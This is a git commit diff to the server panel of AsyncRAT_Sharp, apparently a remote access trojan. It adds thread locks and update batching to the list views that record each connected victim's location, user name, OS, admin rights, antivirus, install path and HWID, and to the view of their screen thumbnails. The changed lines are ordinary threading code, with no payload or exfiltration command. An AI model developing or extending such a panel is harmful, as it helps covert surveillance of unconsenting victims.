Add lock to listview

This commit is contained in:
NYAN CAT 2019-06-01 12:10:26 +03:00
parent e5da7a8d70
commit 60b3db86e4
4 changed files with 56 additions and 30 deletions

View File

@ -4,6 +4,7 @@ using AsyncRAT_Sharp.Sockets;
using cGeoIp; using cGeoIp;
using System.Drawing; using System.Drawing;
using System.Windows.Forms; using System.Windows.Forms;
using System.Threading.Tasks;
namespace AsyncRAT_Sharp.Handle_Packet namespace AsyncRAT_Sharp.Handle_Packet
{ {
@ -13,9 +14,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
if (Program.form1.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
{ {
try Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
Program.form1.listView1.BeginInvoke((MethodInvoker)(() => try
{ {
client.LV = new ListViewItem(); client.LV = new ListViewItem();
client.LV.Tag = client; client.LV.Tag = client;
@ -23,7 +24,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
string[] ipinf; string[] ipinf;
try try
{ {
ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':');
} }
catch { ipinf = new string[] { "?", "?" }; } catch { ipinf = new string[] { "?", "?" }; }
client.LV.SubItems.Add(ipinf[1]); client.LV.SubItems.Add(ipinf[1]);
@ -31,15 +32,20 @@ namespace AsyncRAT_Sharp.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString);
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine; client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString; client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString; client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); lock (Settings.Listview1Lock)
{
Program.form1.listView1.BeginUpdate();
Program.form1.listView1.Items.Add(client.LV);
Program.form1.listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
Program.form1.listView1.EndUpdate();
}
if (Properties.Settings.Default.Notification == true) if (Properties.Settings.Default.Notification == true)
{ {
@ -47,15 +53,16 @@ namespace AsyncRAT_Sharp.Handle_Packet
{client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}"; {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} : {client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]}";
Program.form1.notifyIcon1.ShowBalloonTip(100); Program.form1.notifyIcon1.ShowBalloonTip(100);
} }
}));
lock (Settings.Online)
{
Settings.Online.Add(client);
} }
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green); catch { }
} }));
catch { }
} }
lock (Settings.Online)
{
Settings.Online.Add(client);
}
new HandleLogs().Addmsg($"Client {client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]} connected successfully", Color.Green);
} }
public void Received(Clients client) public void Received(Clients client)
@ -64,7 +71,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
Program.form1.listView1.BeginInvoke((MethodInvoker)(() => Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
client.LV.ForeColor = Color.Empty; try
{
lock (Settings.Listview1Lock)
if (client != null && client.LV != null)
client.LV.ForeColor = Color.Empty;
}
catch { }
})); }));
} }
} }

View File

@ -22,7 +22,12 @@ namespace AsyncRAT_Sharp.Handle_Packet
LV.Text = DateTime.Now.ToLongTimeString(); LV.Text = DateTime.Now.ToLongTimeString();
LV.SubItems.Add(Msg); LV.SubItems.Add(Msg);
LV.ForeColor = color; LV.ForeColor = color;
Program.form1.listView2.Items.Insert(0, LV); lock (Settings.Listview2Lock)
{
Program.form1.listView2.BeginUpdate();
Program.form1.listView2.Items.Insert(0, LV);
Program.form1.listView2.EndUpdate();
}
})); }));
} }
else else

View File

@ -5,24 +5,22 @@ using System.Windows.Forms;
namespace AsyncRAT_Sharp.Handle_Packet namespace AsyncRAT_Sharp.Handle_Packet
{ {
public class HandlePing public class HandlePing
{ {
public HandlePing(Clients client, MsgPack unpack_msgpack) public HandlePing(Clients client, MsgPack unpack_msgpack)
{ {
if (Program.form1.listView1.InvokeRequired) if (Program.form1.listView1.InvokeRequired)
{ {
Program.form1.listView1.Invoke((MethodInvoker)(() => Program.form1.listView1.BeginInvoke((MethodInvoker)(() =>
{ {
try try
{ {
if (client.LV != null)
{ lock (Settings.Listview1Lock)
client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; if (client.LV != null)
} client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString;
else else
{ Debug.WriteLine("Temp socket pinged server");
Debug.WriteLine("Temp socket pinged server");
}
} }
catch { } catch { }
})); }));

View File

@ -17,7 +17,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
Program.form1.listView3.BeginInvoke((MethodInvoker)(() => Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
{ {
if (client.LV2 == null) if (client.LV2 == null && Program.form1.GetThumbnails.Tag == (object)"started")
{ {
client.LV2 = new ListViewItem(); client.LV2 = new ListViewItem();
client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); client.LV2.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]);
@ -26,15 +26,25 @@ namespace AsyncRAT_Sharp.Handle_Packet
{ {
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
client.LV2.ImageKey = client.ID; client.LV2.ImageKey = client.ID;
Program.form1.listView3.Items.Add(client.LV2); lock (Settings.Listview3Lock)
{
Program.form1.listView3.BeginUpdate();
Program.form1.listView3.Items.Add(client.LV2);
Program.form1.listView3.EndUpdate();
}
} }
} }
else else
{ {
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes())) using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
{ {
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID); lock (Settings.Listview3Lock)
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream)); {
Program.form1.listView3.BeginUpdate();
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
Program.form1.listView3.EndUpdate();
}
} }
} }
})); }));